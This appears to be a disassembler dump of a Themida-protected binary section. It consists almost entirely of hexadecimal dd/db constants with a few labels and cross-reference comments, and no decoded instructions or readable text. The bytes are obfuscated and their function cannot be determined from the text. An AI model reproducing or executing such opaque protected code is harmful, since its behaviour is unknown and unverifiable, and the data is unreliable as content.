		dd 33F4AAC2h, 0FFA4B1DBh, 858B3B34h, 7E41F21h, 0EE81F95Eh
		dd 535FD9AFh, 81C38B66h, 0BEB056C6h, 0F681F53Eh, 15FC95EEh
		dd 2F71858Bh, 605607E4h, 0CE9h,	46FC4B00h, 0ACA562CBh
		dd 0CDD457FBh, 0B1B9665Dh, 48F6108h, 13E91Fh, 0AAC00000h
		dd 3458F021h, 8B1B090Eh, 5C339578h, 0FF42A668h,	0FBCA81D2h
		dd 8151EDD1h, 6BD4EBEBh, 38C0F17h, 0F000000h, 0C381D0B7h
		dd 176BD4E7h, 14DD852Bh, 0FB8107E4h, 0FFFF9EACh, 0FF79850Fh
		dd 13E9FFFFh, 0F2000000h, 0D1E09FA3h, 2733A64Bh, 0C5FC20CEh
		dd 0E00F04D2h, 8D8DB761h, 7EB2072h, 3DE8D8BBh, 718D8975h
		dd 6A07E41Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0BB1C352h, 29C55D59h, 85C7CFF5h
		dd 7E42DA1h, 5808h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0D1C35646h, 0F9A380BEh, 0FD8D9BEh, 0B985C727h
		dd 7E422h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 47A5C356h, 12C9858Bh, 0B5FF07E4h
		dd 7E42BF1h, 0E3D950Bh,	95FF07E4h, 7E43061h, 8B08B660h
		dd 0E42241BDh, 6A6107h,	0E4195FFh, 0C08B07E4h, 0F0161AEBh
		dd 717052A7h, 568E2D5Dh, 53856EBFh, 51A10BF9h, 0EE2B14E8h
		dd 6530176Fh, 21628D8Dh, 6A07EBh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 896564C3h, 0E41B718Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0DEA71C28h, 0DC8C2C49h, 68A0Fh, 0BD890000h
		dd 7E407BDh, 2DA185C7h,	5CC007E4h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F1ABF7C3h
		dd 2E96C670h, 85C7D166h, 7E422B9h, 0
		dd 0C8BF6652h, 0B5FF5B9Ch, 7E41581h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 9CC35040h, 306195FFh, 8B0F07E4h
		dd 6, 20958529h, 6A07E4h, 0E4195FFh, 0C08B07E4h, 84FA7CEBh
		dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 0C4FE940Bh, 2BE909FCh
		dd 76E00EADh, 99283625h, 19E5F9E5h, 8E1DB34Eh, 1B4B94C6h
		dd 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh,	5899C50Dh
		dd 44556317h, 47F39113h, 0B3AC7D82h, 928BA51Bh,	0A169A1B3h
		dd 0FCDB5EC7h, 304CD976h, 0A731D200h, 0C1F284DDh, 0FF02776Eh
		dd 0ABD99F92h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh, 87CAE560h
		dd 8D8DDC98h, 7EB22D8h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 73C35242h, 0FBD4A51h,	8D89F7B7h, 7E41B71h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AC35242h
		dd 6081643Fh, 0BADFB70Fh, 3EC6698Bh, 0AD958B61h, 0C707E416h
		dd 0E42DA185h, 722C07h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 76A0668Fh, 0D58080E5h
		dd 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 1298BDC3h, 0FF3F4923h
		dd 0E41D5DB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 995D45h, 8D01AAE5h, 7E4180Dh
		dd 306195FFh, 958907E4h, 7E42245h, 95FF006Ah
		db 41h,	0Eh, 0E4h
byte_5F4763	db 7			; DATA XREF: Themida_:00583C98o
		dd 5BEBC08Bh, 5D94C0E8h, 4C35F612h, 0D2D8D54Ch,	0E6AD53B9h
		dd 74CE5304h, 4E0BD00Fh, 12B68E4Dh, 0CF60E681h,	60BAD6D2h
		dd 95032A53h, 0F63DD78Ch, 3CDB9E6Eh, 7BD98F3Ch,	0A1D7905Ch
		dd 82008065h, 4D9AA630h, 0F37AE022h, 0DD3B2E6h,	723A1628h
		dd 9DCABB38h, 0DBA38E90h, 3250583h, 0E875C2BEh,	5, 7BC34202h
		dd 0CE80Eh, 0CD390000h,	0D4A7C270h, 0BCEDF91Dh,	0BE995B9h
		dd 8000000h, 0F9B3EA7Dh, 873FE3ABh, 5A597577h, 0C281F18Bh
		dd 75B7h, 2BFA8B66h, 0E38160C0h, 3C47507Dh, 255B58Bh, 8B6107E4h
		dd 0EB81021Ch, 61DDF62Bh, 21C5BD8Bh, 0EB8107E4h, 4A197CA6h
		dd 81ADE180h, 39F893EBh, 32F1817Ah, 8940A1C4h, 0B58B021Ch
		dd 7E41F8Dh, 0ADA4B966h, 8B04E883h, 10F881F9h, 0FFFFF8Bh
		dd 1E85h, 21BD2900h, 0E907E423h, 3Bh, 0DC27E18Eh, 0A5B2584Eh
		dd 55E297Ch, 7E3C7D92h,	0E91B04EEh, 14h, 92F366F0h, 5FE9256Bh
		dd 1C21271h, 0F2230DE4h, 329B6C16h, 0FFFF82E9h,	0D23DDBFFh
		dd 1CDDAF2Ch, 8DD99A4Ah, 0EB24CD8Dh, 9F26BE07h,	8D896799h
		dd 7E41B71h, 95D8D89h, 85C707E4h, 7E42DA1h, 71ECh, 0C6E0F8BFh
		dd 0B985C775h, 7E422h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3ADCC356h
		dd 215D1D50h, 6503D21h,	11E8h, 70BC2E00h, 1C0242BBh, 9AF8C881h
		dd 0F008036Fh, 11E9BAF9h, 23000000h, 78D04613h,	0B6376160h
		dd 0AB890CD9h, 0B1A24753h, 0BB665058h, 895F5E92h, 0E4166DBDh
		dd 59B5FF07h, 8B07E40Ah, 6195FFF3h, 6A07E430h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B2AC356h, 0E4054595h, 0FF006A07h, 0E40E4195h
dword_5F4958	dd 0EBC08B07h, 2F68AB38h, 0A8A40F88h, 7CC86599h, 0BC08EFE2h
					; DATA XREF: Themida_:00582DE8o
		dd 0E74DD18Ah, 3D36E0CEh, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh
		dd 9ADFC48h, 992E7378h,	492FCFF3h, 0AC3008C3h, 0FC88B654h
		dd 13E86Dh, 160000h, 0FCF60BB8h, 3EE39C43h, 30D6E853h
		dd 0AF7771AAh, 0F38B5B3Eh, 628EC381h, 0B90000h,	51000000h
		dd 31B1BD89h, 0FF5F07E4h, 95331934h, 7E40B25h, 0B0C78158h
		dd 8127C718h, 0F9BA25C0h, 0D98D894Bh, 8107E418h, 0E872FAC0h
		dd 8E955h, 0A4CE0000h, 0ED925579h, 0E88109A7h, 7348D235h
		dd 0EE9B58Bh, 48907E4h,	0C860F0Bh, 0F000000h, 68Bh, 0D1850900h
		dd 0E907E41Bh, 14h, 0EED9B8CEh,	0F4673A6Dh, 402B2601h
		dd 0FAF6E1AFh, 0C1CAA718h, 104E983h, 0E412DD85h, 18F98107h
		dd 0FFFFF9Eh, 0FFFF8285h, 0F3B70FFFh, 14E8h, 0FC132100h
		dd 0BC59B84Eh, 0F76AAEE5h, 3ED6BEAFh, 81564868h, 7680BB42h
		dd 575E2CF5h, 9A72BA66h, 8DC6815Bh, 8000005Bh, 0B1BFCED7h
		dd 66000016h, 8BD4F6BAh, 0C5C6B906h, 0F0811E6Eh, 33DF1339h
		dd 30659D8Bh, 0C08107E4h, 5E35FDB9h, 1AD59589h,	0E88107E4h
		dd 1845AC68h, 0DA98D89h, 895007E4h, 0E4185195h,	0F068F07h
		dd 686h, 0E59D8B00h, 8307E41Ah,	0E95702EEh, 11h, 89EDD51h
		dd 0E1534D85h, 2F10D72h, 0ABA1A5A9h, 4E4E5BEBh,	1EF83F8h
		dd 1C850Fh, 0B5890000h,	7E40DE5h, 29E9h, 0BC349600h, 952B7136h
		dd 4CE56A84h, 1FE4AB1Ch, 0E3815DEAh, 42E6DF18h,	0FFFF72E9h
		dd 7AE807FFh, 21AD642Bh, 84456851h, 0FE8A41Ah, 45000000h
		dd 0D3C4736Eh, 0E9823B5Fh, 0BC149BDEh, 830F4616h, 3, 5FDF8B66h
		dd 814DDF80h, 59D7C7h, 5870F00h, 0B9000000h, 5198FB84h
		dd 164868h, 0BD015E00h,	7E42ED9h, 97BB37FFh, 58171175h
		dd 0E881DDB3h, 6D898372h, 0BD0AE3B9h, 8EF0816Ch, 95E66C1h
		dd 0E40E3185h, 6DF08107h, 1128A4Eh, 0E416758Dh,	8B078907h
		dd 0E42A0595h, 2EF8307h, 2CD8D8Bh, 4F4F07E4h, 6E9h, 48A1B000h
		dd 8338E649h, 850F01EEh, 14h, 0DEC9B966h, 25E9h, 0AD1B3B00h
		dd 0E9CBA3FEh, 89788FF5h, 2659B501h, 8DE907E4h,	8DFFFFFFh
		dd 8BDA073Ah, 0B7743699h, 43E44F20h, 0DE8F144h,	73000000h
		dd 18FFC8AEh, 595365B2h, 59694915h, 13A19D2Bh, 0B75A07E4h
		dd 98C28154h, 8900005Fh, 0E424ED85h
		db 7, 0BEh, 0B1h
byte_5F4BFF	db 17h			; DATA XREF: Themida_:00583AF8o
		dd 81660000h, 0FF89A6CFh, 5259F832h, 5D5723BBh,	0C1815B08h
		dd 5B799D2Eh, 3DC08166h, 0FEE981C9h, 662D7FFDh,	81412DBFh
		dd 56CDBEF1h, 9E808h, 5C4D0000h, 0DA665922h, 89C41A24h
		dd 0E42A3195h, 89515807h, 0E42D3585h, 60028F07h, 0DE9h
		dd 4DF79800h, 0BDD876BDh, 0EEB39153h, 0BA668327h, 81614B3Dh
		dd 0D655E3EAh, 0A19D8949h, 8107E423h, 0D655DFC2h, 3D858B49h
		dd 8307E409h, 850F01EEh, 11h, 28E977B4h, 0DD000000h, 138DBDFAh
		dd 0CBD16008h, 75B589F7h, 0E907E403h, 0FFFFFF67h, 2594A8F9h
		dd 0A53B98FCh, 1053A66Bh, 779A70F5h
		db 8Eh,	98h, 0Dh
byte_5F4CB3	db 42h			; DATA XREF: Themida_:0058482Co
					; Themida_:00584EBCo
		dd 6A234ACh, 7AA27C24h,	0BF3BB37Dh, 2181D40Eh, 9083B42Ah
		dd 0D66F3025h, 0A7863025h, 0F68BC998h, 8D893022h, 848630B4h
		dd 6C478DA6h, 2E8637C1h, 9086B4A1h, 6503F625h, 6A81D409h
		dd 128634CDh, 4B517025h, 0C00D608Dh, 420D3401h,	25A274ACh
		dd 6933CF7Dh, 0C581D428h, 0C33697A0h, 9956CF22h, 2403F6D5h
		dd 0CA81D409h, 428634CDh, 63517025h, 0D40D608Dh, 480D3401h
		dd 20A274ACh, 0D333CF7Dh, 8481D40Bh, 633697A0h,	0C956CF22h
		dd 219689DDh, 986F3025h, 0EE863025h, 2488B52Ah,	19CF3025h
		dd 0F9033FECh, 6D79CFDAh, 42863028h, 6E61ADA8h,	953E37C1h
		dd 0B7863025h, 0C3BBDC6h, 9F81DB0Dh, 0E2AEC8A8h, 0A1948822h
		dd 8DADB615h, 4284D9E4h, 6A234ACh, 7AA27C24h, 0BF3BB37Dh
		dd 2181D40Eh, 9083B42Ah, 0D66F3025h, 83863025h,	0A4F305E9h
		dd 22B9h, 0DE800h, 0B9C80000h, 0E0BBDE89h, 0F880AD1Dh
		dd 0B81F0462h, 7533C722h, 6DC3815Bh, 66000066h,	33D513BAh
		dd 9DBD29F6h, 8B07E420h, 0E081330Ch, 0F78E839h,	49E4E981h
		dd 8D095A30h, 7E42099h,	3B5EE981h, 81662188h, 815F62C0h
		dd 79C95AE9h, 85953342h, 8907E403h, 0B589330Ch,	7E41EF9h
		dd 2649958Bh, 0EE8307E4h, 6880F01h, 9000000h, 0E401F5BDh
		dd 4E4E4E07h, 54FE81FCh, 0FFFFF9Ah, 2985h, 8E800h, 0D9C00000h
		dd 0F21421A6h, 0B8664731h, 0E95873DCh, 2Fh, 0B3B56E2h
		dd 6268088Bh, 2DF33794h, 152BF154h, 830F8BF3h, 3, 0E9D18B66h
		dd 0FFFFFF6Fh, 0D4B4A57Ah, 0F7A88248h, 311894DDh, 8DD6D36Dh
		dd 0EB2A5C8Dh, 28C0F07h, 52000000h, 9858958h, 8907E422h
		dd 0E41B718Dh, 85C7F907h, 7E42DA1h, 5A40h, 0B8E099BEh
		dd 0B985C710h, 7E422h, 23000000h, 0E41CE99Dh, 11B5FF07h
		dd 6A07E418h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0F7C9C357h, 0FAC23544h, 0C6BF0F0Ch
		dd 306195FFh, 41B207E4h, 95FF006Ah, 7E40E41h, 6FEBC08Bh
		dd 2E173DBEh, 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h
		dd 0B86D94D0h, 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h
		dd 8D640B96h, 6ACE9154h, 8D8ED297h, 0D96B3666h,	323E60AFh
		dd 537B966Dh, 17810597h, 0DA123962h, 2DDAD28h, 0B1DC605Dh
		dd 0A5A42A7Ah, 0BC640CBEh, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h
		dd 6AE1DB69h, 1CFE9CD0h, 0E99B4FBDh, 23h, 58DCAE26h, 7 dup(0)
		dd 0E9000000h, 85Fh, 0C5597B53h, 22B6D6AFh, 8216300Ch
		dd 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh, 512B41D5h, 0AB899F33h
		dd 0EEB0195h, 0FFAF62F6h, 0A98AFD82h, 85145913h, 42A08577h
		dd 1B331014h, 87276887h, 0A508BA37h, 0ED5613A6h, 0F00CE7B5h
		dd 5169465Ch, 566E4B19h, 6F17E01Eh, 67FB13F0h, 780B6F90h
		dd 0AF8B29D8h, 84E48395h, 0D000000h, 275F7B56h,	12627E59h
		dd 0A04C33B0h, 0A10A1442h, 0C28BC98Fh, 0A4C09B82h, 1DC63910h
		dd 600FE05Ch, 2F000000h, 0A98D36BDh, 37971145h,	0AC6FFB08h
		dd 0A3788AD8h, 0CCB33092h, 4F1442A0h, 9F085973h, 7C98738Dh
		dd 3914B244h, 0BBF30FEAh, 0F48FC720h, 0A017E9E2h, 58C21442h
		dd 627C58F6h, 5F248F2Ah, 0FB1442A0h, 0A3E38092h, 8E0986F8h
		dd 0B2EA08E2h, 2D13B717h, 25B6F4Eh, 0DFFBD6F0h,	3B7D4Bh
		dd 560C0000h, 1522C7Bh,	37D20A26h, 0B20BA6DEh, 9045F062h
		dd 5083141Eh, 48E6783Eh, 821D5569h, 0B1867770h,	35111442h
		dd 3A15E31Bh, 8205E61Eh, 64805BC2h, 0BDE96C0Bh,	37CBE7C2h
		dd 1BF49266h, 0A0F08704h, 0F55E1442h, 28678A9Ch, 57D43686h
		dd 1442A0A0h, 0D5B3C52Eh, 0A6BB3258h, 1F57C013h, 0C75B7551h
		dd 83BBD5B1h, 7BCBE3ACh, 42A9A0FEh, 0D45AE14h, 58C77F56h
		dd 3A522F7Ch, 7A0E6702h, 366E8864h, 8A92E289h, 49FDC41Bh
		dd 4CE0FAD6h, 72454D7Bh, 42A00EF5h, 0D763CC14h,	448BE4F8h
		dd 39B618AAh, 1442A042h, 91E2F6D5h, 92411628h, 0EE0016F4h
		dd 98DFF7D4h, 0FAD6744Eh, 95F9CEE0h, 0E55FE59Ah, 2B5Bh
		dd 454D8400h, 15922269h, 1442A06Eh, 923C83ECh, 607A5639h
		dd 19F49219h, 0D6EBEBFDh, 469Eh, 0AA862400h, 31BD5890h
		dd 552A3C54h, 1969454Dh, 0A0453AB7h, 0F7D61442h, 0BF10ABE3h
		dd 0D6ECCA56h, 1592EFC4h, 1442A06Eh, 9CB491ABh,	0FC79C964h
		dd 1442A007h, 0CA116AD3h, 0F4923992h, 2BC6FE18h, 923FF19h
		dd 565B70C2h, 7C296179h, 144621F1h, 4C3373F0h, 1CE3606Fh
		dd 0BA144622h, 0F32B3F1Eh, 12A6FF58h, 9DE3C638h, 4B2D7B68h
		dd 28441F39h, 244722F0h, 0E6548813h, 0FD358EEFh, 38542Fh
		dd 53D5532h, 0E802DE6Ah, 0FDA972B0h, 11AFB9B5h,	0B4921E32h
		dd 0B7EF8C9Eh, 3DD1EDC8h, 571A9966h, 313EE0h, 56670000h
		dd 52296179h, 0BF21713Dh, 42A0BD42h, 9EB01914h,	0BE1943C0h
		dd 47B713A6h, 1C9FD718h, 0B1015A93h, 0E41C3813h, 0D713749h
		dd 8C69D490h, 560FE074h, 0AF116179h, 42A04D32h,	50A00914h
		dd 42A02CD3h, 2F41AA14h, 0D775D769h, 8C73DEFEh,	4A1442A0h
		dd 0E3ACCFE1h, 0B7197BCBh, 0B9243C19h, 1442A0C2h, 1C152790h
		dd 13A6A14Ah, 84A07B19h, 85A57E4Ch, 4E49CC2Ch, 0DF272BDAh
		dd 3585EECDh, 7B1BFCC3h, 2234093Eh, 0F50DEA00h,	5C4C10BDh
		dd 773597D4h, 0D0E2FED9h, 2F0C7333h, 906D8317h,	26694078h
		dd 0BD9A3888h, 0C0D26DA5h, 808765E2h, 0B9559FF1h, 0F08BC3DDh
		dd 805C23A0h, 91FA8079h, 68CAA438h, 798014EBh, 8FAD8780h
		dd 26BBC57h, 454D1BF0h,	9D7B1969h, 0A2B44F87h, 5621AACDh
		dd 1AC65A79h, 0EC580673h, 7D4E4C93h, 5FE59A95h,	0A57E1CE5h
		dd 4ED47385h, 0F4000000h, 0C3B3B82h, 3AB8182Eh,	4136B38Fh
		dd 0D1742D7h, 64394BA4h, 2269454Dh, 0A06E1592h,	8BED1442h
		dd 42A0690Eh, 885E514h,	1442A073h, 0B1D76DFh, 927CC32Ch
		dd 2D7A5639h, 96DD3652h, 20925B70h, 38527C19h, 0F8CADC17h
		dd 2Ch,	62454D87h, 0E4EEF631h, 2067C075h, 0A06E1592h, 0CDAB1442h
		dd 42A0AB50h, 65BE2714h, 5639921Eh, 9E5A597Ah, 79586F05h
		dd 5B70D920h, 29617956h, 4621F17Ch, 3373F014h, 0E3606F4Ch
		dd 1446221Ch, 22B93EBBh, 0AC151446h, 4999F25Bh,	22956AE7h
		dd 0D8411446h, 0B38EA4C6h, 0B6915F97h, 5B24629Ah, 3D59342Bh
		dd 8F2DD2A9h, 63AAE057h, 0D3000000h, 29617956h,	21713D52h
		dd 1BE05DBFh, 0B71442A0h, 91433C4Eh, 4013A6B9h,	20ACC6A2h
		dd 36152747h, 733195CDh, 0B9EF9411h, 515C13A6h,	0FDB602DBh
		dd 0EE0069BAh, 0F4661551h, 14E039FFh, 9B60DDF5h, 3713A657h
		dd 496375CEh, 2B45216Ch, 0AFFF58F3h, 572BD04Dh,	3EA713A6h
		dd 0B7456DEh, 0FB0D41F7h, 795608D9h, 0F9972961h, 9A77031Dh
		dd 424D7082h, 659F1C6Ch, 2B13A683h, 925D2EC2h, 85F619F4h
		dd 73136A52h, 597C8EE7h, 0AA2E7539h, 61795621h,	957D4E1Ah
		dd 0E55FE59Ah, 435Bh, 454D8400h, 15922269h, 1442A06Eh
		dd 680F8CECh, 0E61442A0h, 36D4247Dh, 6F0A4258h,	3092885Dh
		dd 649CB692h, 56E2B7C9h, 7019607Ah, 8C73F052h, 4A1442A0h
		dd 9FE81E1h, 208C2EF9h,	269E390Eh, 2D000000h, 2269454Dh
		dd 0A06E1592h, 0C4AB1442h, 9239927Dh, 0AEB07520h, 0ECFE70A2h
		dd 95DCF6D2h, 0D5B45270h, 0DCEE89C1h, 61795607h, 32E99F11h
		dd 0F15EB120h, 0E98719DFh, 21BCF40Ch, 1417160Fh, 0D8A1446h
		dd 39B02259h, 99BD9261h, 0D8B5CFE1h, 39162CC0h,	0E557E921h
		dd 5355A392h, 9571FDE9h, 96A8437Bh, 42921C73h, 4F6342E0h
		dd 9C56443Dh, 9B0413A2h, 0AED3AD4Bh, 884FDDFAh,	95CD2622h
		dd 0ECC6E8FAh, 107D237Ah, 3C4E3E2Eh, 69454D67h,	19F49222h
		dd 182AC5FDh, 7956C952h, 20921A61h, 951BFCE2h, 97B9CB09h
		dd 0E59A95C6h, 445BE55Fh, 84000000h, 2269454Dh,	0A06E1592h
		dd 83EC1442h, 9239923Ch, 0A0CCB330h, 218A1442h,	0FF19F50Fh
		dd 1E3211AFh, 5B70370Ch, 349Eh,	45C22400h, 1442A0BEh, 0A0DBA01Dh
		dd 0E771442h, 4F454BDh,	6F8CE593h, 4D6F4456h, 3E5C3645h
		dd 0CB126B06h, 0A06E1592h, 0C4AB1442h, 5639927Dh, 7019607Ah
		dd 2E79565Bh, 64FF3753h, 86DFFFD8h, 21ACA14Eh, 98151446h
		dd 330FADECh, 10ED0719h, 188A64F8h, 535D10Ch, 435D6F26h
		dd 3F164E66h, 910E5E50h, 13A284EFh, 8E68FC65h, 0C1F915F0h
		dd 923F1426h, 0BDC78420h, 9570B329h, 4DA64179h,	347A183Bh
		dd 9221AAEDh, 0A0CCB330h, 734F1442h, 4F9F0859h,	42A02DD2h
		dd 2E40A914h, 0CF1F3714h, 0A00BF06Dh, 5EC71442h, 7D4E774Ch
		dd 0FC1AF492h, 0E6200FEAh, 3AD5E55Fh, 0FE000000h, 0F572454Dh
		dd 1442A00Eh, 0FED763CCh, 0B20BA6DEh, 0B330926Bh, 1442A0CCh
		dd 0B8BEC97Bh, 97E8DD78h, 0C13E1C2Eh, 14426D3Ah, 92E82F98h
		dd 607A5639h, 9E5B7019h, 2Bh, 9D20922Dh, 0F80DD673h, 558DAD86h
		dd 2C4F61BAh, 92014866h, 42A06E15h, 7DC4AB14h, 16F492h
		dd 3D1B2DC8h, 607A56E4h, 565B7019h, 52296179h, 0A421713Dh
		dd 13A692CEh, 0D9C11C8Ch, 6ECEECC6h, 0EC45E169h, 58563958h
		dd 46258B08h, 0D234144Dh, 8D57AE55h, 0B4902C1Bh, 502F419Ah
		dd 578C73F0h, 320F1B8Dh, 0F647E21Ah, 2EFC348Dh,	8FA53951h
		dd 0D0629AB2h, 1D61685Eh, 970C54D9h, 6F86A883h,	726B7DD6h
		dd 44BA4E3Eh, 93CBE5C1h, 96CEEAC5h, 9CD49057h, 0D649FD7Ah
		dd 0F391E1F9h, 2AC5FD17h, 3E0F618h, 89C1DDB8h, 698962EEh
		dd 53D9631h, 7E3D5837h,	8889F1E8h, 23DA126Bh, 4825184Ch
		dd 0A9869C30h, 3D35991h, 62000000h, 7E563E8Dh, 7956245Ch
		dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
		dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 83000000h
		dd 48704E8h, 14895C24h,	20596824h, 0C890000h, 446F6824h
		dd 34890000h, 54685224h, 5A4E931Dh, 0DAF7DAF7h
		dd 37A9F281h, 81524978h, 15982434h, 81595DBEh, 0BE1598F1h
		dd 0D3685A5Dh, 89000035h, 4812424h, 424h, 89505E00h, 8BB53C8h
		dd 1000000h, 5B0389F3h,	2434FF58h, 4C4815Eh, 8B000000h
		dd 8957240Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 4AADE95Ch
		dd 8F67FFF9h, 7A86D45Ah, 32A2CE59h, 0B81535A9h,	7EB32C8h
		dd 0E0FFC503h, 52314E61h, 0EF90DB1h, 346269C5h,	11A71D75h
		dd 3C183A42h, 702AD36Ch, 5E82DA27h, 0C3C6F21h, 79C137CBh
		dd 26BA9D27h, 4936D896h, 0FE8h,	3D43EB00h, 0FB97990Ah
		dd 69ED9450h, 80C09485h, 68D0Fh, 0C1810000h, 5F764A80h
		dd 0AE95Bh, 3FAB0000h, 218C9F1Fh, 0FB09AEC2h, 7080C381h
		dd 0F7810000h, 35E331A5h, 0BAh,	0B2B86600h, 1A34FF27h
		dd 8360B966h, 0FBE1BF5Eh, 0C6811A75h, 527CFFDDh, 10E960h
		dd 0F62C0000h, 3A49245Fh, 57A4CCBBh, 5B302DB7h,	0ACB865E9h
		dd 612352B9h, 78C8C681h, 0AE97E3Ah, 2A000000h, 6A21E4A5h
		dd 41C63590h, 44C68129h, 0F5419D5h, 58Bh, 0C8816600h, 348934B2h
		dd 0CAB96613h, 81E28A1Fh, 77E9F6EAh, 74B86664h,	0F2C28159h
		dd 666477E9h, 81D075B9h, 0FF9044FAh, 82850FFFh,	0E9FFFFFFh
		dd 5, 9807E8EAh, 438D8D5Ch, 6A07EB35h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BECBC352h
		dd 245F0E99h, 1B718D89h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0F4D807C3h, 0BE9B5F0h
		dd 0D4000000h, 0AC4BC82h, 0EF3B6A1Ah, 85C7F44Bh, 7E42DA1h
		dd 7110h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0BAC35242h, 0D781AAEAh,	672FA89Ch, 22B985C7h, 7E4h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 1B84A4C3h, 7A5A9D64h, 51858985h, 907E423h
		dd 0E40E618Dh, 0DFBF0F07h, 6A5B5FFh, 0BA6607E4h, 95FF67EBh
		dd 7E43061h, 2C6DB501h,	6AFC07E4h, 4195FF00h
		db 0Eh,	0E4h
word_5F59CE	dw 8B07h		; DATA XREF: Themida_:005832ECo
		dd 3F3DEBC0h, 55E30926h, 0C59C4DC4h, 8161C232h,	0EB8EE85Bh
		dd 0FD771F67h, 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h
		dd 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h, 886214D1h
		dd 31D0B5E8h, 36418D8Dh, 89F807EBh, 0E42B39BDh,	718D8907h
		dd 0E907E41Bh, 6, 0B61B8ED8h, 85C77625h, 7E42DA1h, 6D3Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7C35646h
		dd 8B0675A1h, 0E404DDBDh, 0F99D8B07h, 0C707E426h, 0E422B985h
		dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0BD38D464h, 956493F3h, 9EF8BFC7h
		dd 7E84596h, 0D2000000h, 6203294Bh, 0B58BED2Dh,	7E424ADh
		dd 15B5FF5Eh, 8A07E41Eh, 198D29FEh, 0FF07E426h,	0E4306195h
		dd 9D8B5207h, 7E41C15h,	0FF006A5Ah, 0E40E4195h,	0EBC08B07h
		dd 0C9C31879h, 95CDFCE8h, 0BA7DD836h, 641FDE45h, 0F4555361h
		dd 0D77AFCBFh, 0B7177C4Bh, 9838096Dh, 14DA3687h, 0C8C9E3DDh
		dd 0A4BFEC30h, 43025398h, 0CC61C74Ah, 2AD9ECEAh, 0D5CDBC01h
		dd 8F679BDFh, 7A86D45Ah, 32A2CE59h, 0DD1535A9h,	138DBDFAh
		dd 0CBD16008h, 0BB7126F7h, 9544D79Dh, 582EF027h, 0F694E312h
		dd 17049A77h, 48BBC66Fh, 11377253h, 0FF4659Dh, 1147D850h
		dd 8D8DBF8Dh, 7EB375Dh,	0A198D89h, 8D8907E4h, 7E41B71h
		dd 15D5CA81h, 85C70FA4h, 7E42DA1h, 5E04h, 5E8h,	7EECC100h
		dd 9589D51Eh, 7E40F85h,	0B985C758h, 7E422h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0BC42C351h, 0EE814104h, 38503BE2h, 0AEDB5FFh
		dd 8F0F07E4h, 0Ch, 68E0Fh, 950B0000h, 7E401A1h,	306195FFh
		dd 12E907E4h, 9B000000h, 7FC9000Dh, 493F8582h, 0AD9F86B3h
		dd 0D57D95BAh, 0FF006A8Fh, 0E40E4195h, 0EBC08B07h, 0D2F0BB6Ah
		dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 9116E14Fh, 9C34B698h
		dd 60D1922h, 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh
		dd 0C394DE38h, 218D0BE5h, 0F06C85B1h, 0C466FBBDh, 8F95DC24h
		dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0FA96CACAh, 0D35825B8h
		dd 48C14493h, 0DD286A69h, 0A40D772Fh, 74AD8936h, 5D6A0C24h
		dd 0E8E5B298h, 14h, 0F557E294h,	939EF62Dh, 0F883E061h
		dd 0FC82940Fh, 0A8316DAFh, 0C73D69BBh, 0BD895E03h, 7E41C45h
		dd 673FC681h, 0E9570000h, 0Fh, 1553219Fh, 5A83BA4Bh, 6137C2E0h
		dd 59D1365Ch, 68h, 85B58900h, 5807E427h, 2A2DEBBAh, 63C8B54h
		dd 23759589h, 0EF8107E4h, 49CB1219h, 959ABE60h,	0E960444Eh
		dd 6, 675004EDh, 9D89B5EAh, 7E4167Dh, 0EF816161h, 4161CD29h
		dd 7AD8501h, 0F78107E4h, 2C0B0511h, 89D1BF0Fh, 0BDB7063Ch
		dd 2C058D29h, 0E88307E4h, 13E904h, 66110000h, 4D84A682h
		dd 0CBECDCh, 757DF527h,	0F925FBEAh, 7CF881A5h, 0FFFFF99h
